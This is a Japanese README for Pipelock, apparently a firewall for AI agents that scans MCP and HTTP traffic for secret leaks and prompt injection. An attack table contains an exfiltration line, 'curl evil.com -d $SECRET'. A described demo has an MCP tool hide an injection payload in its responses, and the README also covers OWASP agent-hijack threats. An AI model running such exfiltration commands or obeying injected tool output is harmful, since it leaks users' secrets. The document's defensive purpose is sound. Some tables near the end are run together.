- **[OpenAI Agents SDK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openai-agents.md):** `MCPServerStdio`、マルチエージェントハンドオフ
- **[Google ADK](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/google-adk.md):** `McpToolset`、`StdioConnectionParams`
- **[AutoGen](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/autogen.md):** `StdioServerParams`、`mcp_server_tools()`
- **[CrewAI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/crewai.md):** `MCPServerStdio`ラッピング、`MCPServerAdapter`
- **[LangGraph](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/langgraph.md):** `MultiServerMCPClient`、`StateGraph`
- **[Hermes](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/hermes.md):** Nous Researchエージェント向けのフルプラグインサポート、または軽量なMCP専用ラッピング(認証ヘッダサイドカー保持付き)
- **[JetBrains/Junie](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/jetbrains.md):** IntelliJ、PyCharm、GoLand向けMCPプロキシラッピング([ウォークスルー](https://pipelab.org/learn/jetbrains-integration/))
- **Cursor:** `pipelock cursor install` はPipelockをシェル実行、MCPツール呼び出し、ファイル読み取り用のCursorフックとして登録します。`--config`を使用して検証済みポリシーパスを埋め込み、`pipelock cursor remove`でPipelock管理のフックを削除できます。また、[Claude Code](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/claude-code.md)と同じMCPプロキシパターンで`configs/cursor.yaml`を使用することもできます([ウォークスルー](https://pipelab.org/learn/cursor-integration/))
- **VS Code:** `pipelock vscode install` は全てのMCPサーバーをMCPプロキシ経由でルーティングするよう`.vscode/mcp.json`を書き換えます。`--global`はユーザーレベルの`mcp.json`を対象とします。
- **[OpenClaw](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/openclaw.md):** ゲートウェイサイドカー、initコンテナ、コンフィグラッピング
- **その他のMCPクライアント:** `pipelock generate mcporter` はトップレベルの`mcpServers`オブジェクトを持つ任意のJSONファイルを読み取り、全てのサーバーをPipelockのプロキシ経由でラップします。これにより、上記リストにないクライアントでも1つのコマンドでスキャン経由のルーティングが可能になります。
---
## デプロイメント```bash
# Docker
docker pull ghcr.io/luckypipewrench/pipelock:latest
docker run -p 8888:8888 -v ./pipelock.yaml:/config/pipelock.yaml:ro \
ghcr.io/luckypipewrench/pipelock:latest \
run --config /config/pipelock.yaml --listen 0.0.0.0:8888
# Network-isolated agent with Docker Compose
pipelock generate docker-compose --agent claude-code -o docker-compose.yaml
docker compose up
# Kubernetes with Helm
helm install pipelock charts/pipelock/
Docker Compose、Kubernetes sidecar + NetworkPolicy、iptables/nftables、macOS PF向けの本番用レシピ: docs/guides/deployment-recipes.md
このアクションは、プリビルドされたバイナリをダウンロードし、`pipelock audit`を実行し、PRの差分をスキャンして漏洩したシークレットを検出し、監査レポートをワークフローアーティファクトとしてアップロードします。完全なワークフローについては[`examples/ci-workflow.yaml`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/ci-workflow.yaml)を参照してください。
### 実行可能デモ:ツール応答インジェクション
[`examples/tool-response-injection/`](https://github.com/luckypipewrench/pipelock/blob/HEAD/examples/tool-response-injection/) ハーネスは、無害な名前と説明を持つMCPツールがその応答にプロンプトインジェクションペイロードを隠すエンドツーエンドのデモを実行します。Pipelockは応答がエージェントに到達する前にブロックし、第三者が検証できる署名付きアクション領収書を発行します。同じデモは、1つの共有署名鍵を使用して3つのトランスポートに対して実行されます:
- MCP stdio
- MCP HTTP upstream
- HTTP fetch```bash
cd examples/tool-response-injection
python3 demo.py # needs python3 + cryptography + pipelock on PATH
コアバイナリよりも速く拡張、共有、出荷できる検出機能。
Pipelockの組み込みDLP、インジェクション、およびツールポイズニング検出は、そのまま強力です。コミュニティルールバンドルを使用すると、さらに先へ進めます。スタックが検出するエクスフィルトレーションの形状、シークレット形式、インジェクションのトリックに対して独自のパターンを追加し、署名し、リリースを待つ代わりに自分で制御するペースで出荷できます。
公式バンドルを一行でインストール:
pipelock rules install pipelock-community
```
ルールバンドルは署名され、バージョン固定されています。完全なライフサイクルは、構成編集ではなく、出荷されたコマンドです:```bash
pipelock rules list # what is installed
pipelock rules diff pipelock-community # what a new version would change
pipelock rules update pipelock-community
pipelock rules verify # confirm signatures against the trusted keyring
pipelock rules remove pipelock-community
```
**独自に作成する。** ルールは、名前、カテゴリ(DLP、インジェクション、ツールポイズン)、およびパターンを持つ小さなYAMLエントリです。自分のキーで署名し、バンドルに追加すると、実行するすべてのPipelockインスタンスがそれを取得します。コミュニティと共有すると、他の全員も保護されます。
パブリック [pipelock-rules](https://github.com/luckyPipewrench/pipelock-rules) バンドルにルールを貢献するか、[docs/rules.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/rules.md) を読んで独自のルールを作成し署名してください。
---
## ドキュメント
完全なドキュメントディレクトリ: [docs/](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/)
| ドキュメント | 内容 |
|----------|-------------|
| [構成リファレンス](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/configuration.md) | すべての設定フィールド、デフォルト値、ホットリロード動作、プリセット |
| [リクエストポリシー](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/request-policy.md) | アウトバウンドAPI操作(GraphQL / discriminator / batch)に対するデフォルト許可の拒否/警告レール、fail-closed(v2.6) |
| [リクエスト編集](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/redaction.md) | HTTP、WebSocket、MCPトランスポート全体でのJSONリクエスト書き換え |
| [誤検知調整](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/false-positive-tuning.md) | スキャナー検出の特定、抑制、調整 |
| [スキャンAPI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/scan-api.md) | プログラムによるスキャン用の評価エンドポイント |
| [デプロイレシピ](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/deployment-recipes.md) | Docker Compose、K8sサイドカー、iptables、macOS PF |
| [`pipelock doctor`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/doctor.md) | プロキシ、TLS、MCP、file_sentry、テレメトリー、コンテインメントシグナルの設定対実施可能なデプロイ診断 |
| [`pipelock dashboard`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/dashboard.md) | オペレーターダッシュボード設定: 認証モード、RBAC権限、証拠、免除、予算、信頼と鍵、フリートビュー、バックアップ/リストア、カバレッジ証明書 |
| [`pipelock verify-install`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/verify-install.md) | 決定論的スキャン、ローカルプルーフ、直接エグレススモークチェック |
| [`pipelock update`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/update.md) | 検証済み自己更新: 署名済みリリースマニフェスト、チェックサム検証、オプションのcosignクロスチェック、アトミックインストール、ロールバック |
| [バイパス耐性](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/bypass-resistance.md) | 既知の回避技術、緩和策、制限事項 |
| [ブロックされた既知の攻撃](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/attacks-blocked.md) | 再現スニペット付きの実際の攻撃 |
| [SIEM統合](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/siem-integration.md) | ログスキーマ、CEF/syslog出力、永続的なEnterprise転送、ライフサイクル、メトリクス、SIEMクエリ |
| [メトリクスリファレンス](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/metrics.md) | Prometheusメトリクスファミリ、ラベル、JSON統計、アラートルール |
| [コミュニティルール](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/rules.md) | 署名済みルールバンドルのインストール、設定、作成 |
| [セキュリティ保証](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security-assurance.md) | セキュリティモデル、信頼境界、サプライチェーン |
| [セキュリティドキュメント](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/) | 開示ポリシー、非サポートパス、鍵ローテーション、TLS CAと監査パケットの脅威モデル |
| [エンタープライズ対応](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/enterprise-readiness.md) | 出荷されたエンタープライズコントロール、評価パス、デプロイ決定、明示的な境界 |
| [再現可能なビルド](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/reproducible-builds.md) | バイト単位のOSSバイナリチェック、安定した入力、リリース統合、スコープ |
| [検出抑制](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/suppression.md) | ルール名、パスマッチング、インラインコメント |
| [トランスポートモード](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/transport-modes.md) | すべてのプロキシモードとそのスキャン機能 |
| [OWASP MCP Top 10](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/owasp-mcp-top10.md) | OWASP MCP Top 10のカバレッジ |
| [OWASP Agentic Top 15](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/owasp-agentic-top15-mapping.md) | OWASP Agentic AI Top 15のカバレッジ |
| [OWASP LLM Top 10](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/owasp-llm-top10-mapping.md) | LLMアプリケーション向けOWASP Top 10(2025年)のカバレッジ |
| [EU AI法](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/eu-ai-act-mapping.md) | EU AI法準拠マッピング |
| [NIST 800-53](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/nist-800-53.md) | NIST SP 800-53 Rev. 5コントロールマッピング |
| [アセスメントマッピング](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/compliance/assess-mapping.md) | ランタイムコントロールを、`pipelock assess`が証拠を生成するフレームワークにマッピングし、調達および監査レビューに対応 |
| [ポリシースペック v0.1](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/policy-spec-v0.1.md) | ポータブルエージェントファイアウォールポリシーフォーマット |
| [メディエーションエンベロープ](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/mediation-envelope.md) | サイドバンドメタデータヘッダー、設定、レシートとの相互作用 |
| [メディアポリシー](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/media-policy.md) | ステゴ除去、SVGセキュリティ強化、許可タイプ、サイズ制限 |
| [証拠用語](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/evidence/README.md) | ActionReceipt、EvidenceReceipt、フライトレコーダー、チェックポイント、アンカー、カバレッジ証明書、監査パケットのクイックリファレンス。完全性対完全性、固定対非固定の区別を含む |
| [レシート検証](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/receipt-verification.md) | `pipelock verify-receipt`、フリートレシートレポート検証、スタンドアロン `pipelock-verifier`、コンフォーマンススイート、チェーン完全性 |
| [レシートスペックプロファイル](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/specs/in-toto-agent-action-receipt-v0.1.md) | アクションレシート用のin-totoアテステーション述語、関連するSCITTおよびAARPプロファイル、先行技術のマッピング |
| [監査パケット脅威モデル](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/security/audit-packet-threat-model.md) | 検証済み監査パケットが証明するもの、証明しないもの、および依拠当事者が固定すべき信頼の前提 |
| [レシートトランスポートカバレッジ](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/receipt-transports.md) | 取得、転送、CONNECT/TLS、WebSocket、MCP、A2Aパス全体のレシート発行マトリックス |
| [学習とロック](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/learn-and-lock.md) | エージェントごとの行動契約: 観察、コンパイル、シャドウ、承認、昇格(v2.4) |
| [フェデレーション](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/federation.md) | インバウンドメディエーションエンベロープ検証、SPIFFEアクターフォーマット、RFC 9421 well-knownディレクトリ(v2.4) |
| [ブロック理由ヘッダー](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/block-reason-header.md) | `X-Pipelock-Block-Reason`スキーマ、理由語彙、リトライヒント(v2.4) |
| [ヘルスエンドポイント](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/health.md) | `/health` 503ウェッジ検出、サブシステムハートビート、オペレーターダッシュボード設定(v2.4) |
| [ホストコンテインメント](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/contain-cli.md) | `pipelock contain install / run / verify / rollback / add-tool / grant-workspace / revoke-workspace / ca-refresh` - カーネル観測ポスチャ証明付きの3-UID nftablesオーナーマッチコンテインメント用(v2.5) |
| [MCP整合性マニフェスト](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/mcp-integrity.md) | 信頼できるMCPバイナリ整合性マニフェストの生成、検証、署名、要求(v2.5) |
| [アダプティブCLI](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/adaptive.md) | 管理APIを介したアダプティブ実施ランタイム状態の検査とフラッシュ(v2.5) |
| [コンダクター](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor.md) | エンタープライズフリートコントロールプレーン: ポリシー配布、監査シンク、リモートキル、ロールバック、mTLS/SPIFFE信頼、ライセンス(v2.7、Enterprise) |
| [コンダクターオペレーターランブック](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor-operator-runbook.md) | 実践的なローカルフリートウォークスルー: ブートストラップ、サーブ、バッチ署名、オフライン検証 |
| [コンダクターオペレータークイックスタート](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/conductor-operator-quickstart.md) | ゼロから読み取り専用フリート監査へ: ライセンス、オペレーターmTLS証明書、監査人トークン、読み取り専用コマンド |
| [Kubernetesエンタープライズデプロイ](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/kubernetes-enterprise-deployment.md) | Helmベースのコンダクターフリート: コントロールプレーン、フォロワー、フリートシンク、PKIシークレット、NetworkPolicy |
| [`pipelock license`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/license.md) | 有料機能をアンロックするライセンスのインストール、検査、チェック(Proの`agents`、Enterpriseの`fleet`) |
| [`pipelock baseline`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/baseline.md) | 認証済み管理APIを介した行動ベースラインプロファイルの検査、承認、再学習 |
| [ポスチャカプセル](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/posture-capsule.md) | 署名済みポスチャスナップショット、`posture verify` CLI、CIゲート、スコアリングモデル |
| [`pipelock init sidecar`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/init-sidecar.md) | 強制適用されたKubernetesコンパニオンプロキシマニフェストおよびMCPランチャーコントラクトの生成(strategic-merge、Kustomize、Helm values) |
| [`pipelock session`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/session.md) | エアロック検査およびリカバリ用のオペレーターCLI(list、inspect、explain、release、terminate、recover) |
| [`pipelock keys status`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/keys.md) | 統合署名鍵インベントリ: 目的別ソース、存在、可読性、有効性、公開鍵フィンガープリント |
| [フライトレコーダー](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/flight-recorder.md) | ハッシュチェーン署名付き証拠ログ: デフォルトオン動作、トランスクリプトルートシール、編集、エスクロー、鍵ローテーション |
| [TLSインターセプション](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/tls-interception.md) | CONNECTトンネルMITM: CA設定、本文/ヘッダー/レスポンススキャン、パススルードメイン |
| [カナリアトークン](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/canary-tokens.md) | エージェントが漏洩しようとした瞬間にアラートを発動する合成シークレット |
| [検出統合](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/detection-integration.md) | Pipelockの判断と証拠を外部検出/SIEMパイプラインにフィード |
| [PRレビュー](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/pr-review.md) | プルリクエストの手動トリガーAIセキュリティレビュー(`/review`コメント) |
| [MCPインスペクターフロント](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/guides/mcp-inspector-front.md) | Pipelockスキャンを介したFront MCP開発ツール(インスペクター、テストサーバー) |
| [`pipelock demo`](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/cli/demo.md) | 署名済み、オフライン検証可能なレシート付きの自己完結型攻撃シナリオ、設定やネットワーク不要 |
| [バッジ](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/badges.md) | ダウンストリームプロジェクト向けの`scanned by pipelock`バッジ用ドロップインマークダウン |
---
## プロジェクト構造```text
cmd/pipelock/ CLI entry point
internal/
cli/ 60+ Cobra commands (run, check, init, generate, mcp, session, posture, rules, ...)
diag/ `pipelock doctor` and install-verification diagnostics
session/ `pipelock session`, `pipelock adaptive`, and `pipelock baseline` operator CLIs
setup/ `pipelock init sidecar`: companion-proxy manifest generation (K8s)
config/ YAML config, validation, defaults, hot-reload (fsnotify)
scanner/ Ordered URL scanning pipeline + response injection detection
audit/ Structured JSON logging (zerolog) + event emission dispatch
proxy/ HTTP proxy: fetch, forward (CONNECT), WebSocket, DNS pinning, TLS
mcp/ MCP proxy + bidirectional scanning + tool poisoning + chains
integrity/ MCP binary/script integrity manifests and trust workflow
discover/ IDE/agent config discovery (Claude Code, Cursor, VS Code, JetBrains)
killswitch/ Emergency deny-all (6 sources) + port-isolated API
envelope/ Mediation envelope (RFC 8941) for sideband metadata
media/ Image metadata stripping (JPEG/PNG byte-level surgery)
normalize/ Text-normalization transforms (NFKC, invisible chars, leetspeak, whitespace, vowel-fold) for the scanner cascade
receipt/ Action receipt signing + hash-chained evidence
posture/ Posture capsule schema, signing, scoring, verify policy
session/ Session state, taint classification, task boundaries, trust overrides
rules/ Bundle loader, tier taxonomy, RequiredFeatures enforcement
sandbox/ Landlock, seccomp, netns, macOS sandbox-exec
shield/ Airlock, browser shield, SVG hardening
signing/ Ed25519 key management
integrity/ SHA256 file integrity monitoring
report/ HTML/JSON audit report generation
enterprise/ Multi-agent features (ELv2)
sdk/conformance/ Cross-implementation receipt verification test vectors
charts/ Helm chart for Kubernetes deployment
configs/ 7 built-in preset config files
docs/ Guides, references, compliance mappings
```
---
## テスト
Pipelockはセキュリティ製品と同様にテストされています。オープンソースコアにはユニットテスト、統合テスト、エンドツーエンドテストがあります。別のプライベートな対抗テストスイートが、プロダクションバイナリに対する攻撃クラスを実行します。すべてのバイパスは、リリース前にリグレッションテストに組み込まれます。
| メトリクス | 値 |
|--------|-------|
| Go テスト(`-race` 付き) | ユニット、統合、エンドツーエンドパス |
| カバレッジゲート (codecov) | 91% Apache-2.0 コアプロジェクト、新コードに対する95%パッチ |
| 回避カバレッジ | 公開バイパス耐性マトリクス + プライベート対抗コーパス |
| スキャナーのホットパスオーバーヘッド | ~40us/URLスキャン(ホットパスベンチマーク; [docs/performance.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/performance.md) 参照) |
| CI マトリクス | Go 1.25 + 1.26, CodeQL, golangci-lint |
| サプライチェーン | SLSA 証明書, CycloneDX SBOM, cosign 署名 |
`make test` を実行してローカルで検証してください。独立したベンチマークとして、公開 [agent-egress-bench](https://github.com/luckyPipewrench/agent-egress-bench) コーパスを参照してください。[ライブ結果](https://pipelab.org/gauntlet/) をご覧ください。
---
## クレジット
- アーキテクチャは [Anthropic の Claude Code サンドボックス化](https://www.anthropic.com/engineering/claude-code-sandboxing) と [sandbox-runtime](https://github.com/anthropic-experimental/sandbox-runtime) に影響を受けています。
- 脅威モデルは [OWASP Agentic AI Top 10](https://genai.owasp.org/resource/owasp-top-10-for-agentic-applications-for-2026/) に基づいています。
- Pipelock がこの分野の他のツールとどのように関連しているかについては [docs/comparison.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/docs/comparison.md) を参照してください。
- セキュリティレビューへの貢献: Dylan Corrales
コントリビューション歓迎。ガイドラインについては [CONTRIBUTING.md](https://github.com/luckypipewrench/pipelock/blob/HEAD/CONTRIBUTING.md) を参照してください。
Pipelock が役立つ場合は、[このリポジトリにスターを付けて](https://github.com/luckyPipewrench/pipelock) ください。他の人がプロジェクトを見つけるのに役立ちます。
---
## ライセンス
Pipelock コアは **Apache License 2.0** の下でライセンスされています。Copyright 2026 Joshua Waldrep。
マルチエージェント機能(エージェントごとのアイデンティティ、予算、設定の分離)は `enterprise/` ディレクトリにあり、`enterprise` ビルドタグで制限され、**Elastic License 2.0 (ELv2)** の下でライセンスされています。これらの機能は有効なライセンスキーで有効になります。
オープンソースコアは有料機能なしで独立して動作します。すべてのスキャン、検出、およびシングルエージェント保護は無料です。
ビルド済みリリースアーティファクト(Homebrew、GitHub リリース、Docker イメージ)には、有効なライセンスキーで有効になる有料層のコードが含まれています。`go install` またはリポジトリの `Dockerfile` を使用してソースからビルドすると、コミュニティ限定のバイナリが生成されます。
Apache 2.0 のテキストについては [LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/LICENSE) を、ELv2 のテキストについては [enterprise/LICENSE](https://github.com/luckypipewrench/pipelock/blob/HEAD/enterprise/LICENSE) を参照してください。
| モード | セキュリティ | Webブラウジング | ユースケース |
|---|
| strict | 許可リストのみ | なし | 規制産業、高セキュリティ |
| balanced | 単純なものをブロックし、高度なものを検出 | fetchまたはフォワードプロキシ経由 | ほとんどの開発者(デフォルト) |
| audit | ログのみ | 無制限 | 適用前の評価 |
| 攻撃ベクトル | Strict | Balanced | Audit |
|---|
curl evil.com -d $SECRET | 防止 | 防止 | 記録 |
| Secret in URL query params | 防止 | 検出(DLPによる) | 記録 |
| Base64-encoded secret in URL | 防止 | 検出(エントロピーとデコードされたDLPによる) | 記録 |
| DNS tunneling | 防止 | 検出(サブドメインエントロピーによる) | 記録 |
| Chunked exfiltration | 防止 | 検出(レート、予算、フラグメントチェックによる) | 記録 |
| Public-key encrypted blob in URL | 防止 | エントロピーがフラグを立てた場合に記録 | 記録 |
| Pipelock | Scanners (agent-scan) | Sandboxes (srt) | Kernel agents (agentsh) |
|---|
| シークレットデータ流出防止 | Strictはブロック;balancedは検出 | 部分的(プロキシモード) | 部分的(ドメインレベル) | はい |
| DLP + エントロピー分析 | はい | いいえ | いいえ | 部分的 |
| プロンプトインジェクション検出 | はい | はい | いいえ | いいえ |
| MCPスキャン(双方向 + ツールポイズニング) | はい | はい | いいえ | いいえ |
| WebSocketプロキシ(フレームスキャン) | はい | いいえ | いいえ | いいえ |
| MCP HTTPトランスポート(Streamable HTTP) | はい | いいえ | いいえ | いいえ |
| 緊急キルスイッチ(6つのソース) | はい | いいえ | いいえ | いいえ |
| ツールコールチェーン検出 | はい | いいえ | いいえ | いいえ |
| プロセスサンドボックス(Docker不要) | はい | いいえ | いいえ | はい(カーネルレベル) |
| 単一バイナリ、依存関係ゼロ | はい | いいえ(Python) | いいえ(npm) | いいえ(カーネル) |
| 脅威 | カバレッジ |
|---|
| ASI01 Agent Goal Hijack | 強: 双方向MCP + レスポンススキャン |
| ASI02 Tool Misuse | 部分的: 制御されたツールとしてのプロキシ、MCPスキャン |
| ASI03 Identity & Privilege Abuse | 強: 機能分離 + SSRF保護 |
| ASI04 Supply Chain Vulnerabilities | 部分的: 整合性監視 + MCPスキャン |
| ASI05 Unexpected Code Execution | 中: HITL承認、フェイルクローズデフォルト |
| ASI06 Memory & Context Poisoning | 中: インジェクション検出 + セッション汚染伝播 |
| ASI07 Insecure Inter-Agent Communication | 部分的: MCP/A2Aスキャン、エージェントID、完全性、署名 |
| ASI08 Cascading Failures | 中: フェイルクローズアーキテクチャ、レート制限 |
| ASI09 Human-Agent Trust Exploitation | 部分的: HITLモード、監査ログ |
| ASI10 Rogue Agents | 強: ドメイン許可リスト + レート制限 + 機能分離 |
詳細、設定例、ギャップ分析: docs/owasp-mapping.md
explain event <id>explain mcppipelock canary はハニートークン設定を生成します。出力トラフィックに合成シークレットが現れることで、エージェントまたはそのチェーン内の何かが環境変数を流出させていることが証明されます。詳細: カナリアトークンpipelock skill-scan はエージェントのスキルファイルを一覧化し、オペレーター所有のロックファイルと比較し、何かが実行される前に、資格情報からネットワークシンク、シェルから書き込みなどのソースからシンクへの組み合わせを行証拠とともにフラグ付けします。詳細: docs/cli/skill-scan.md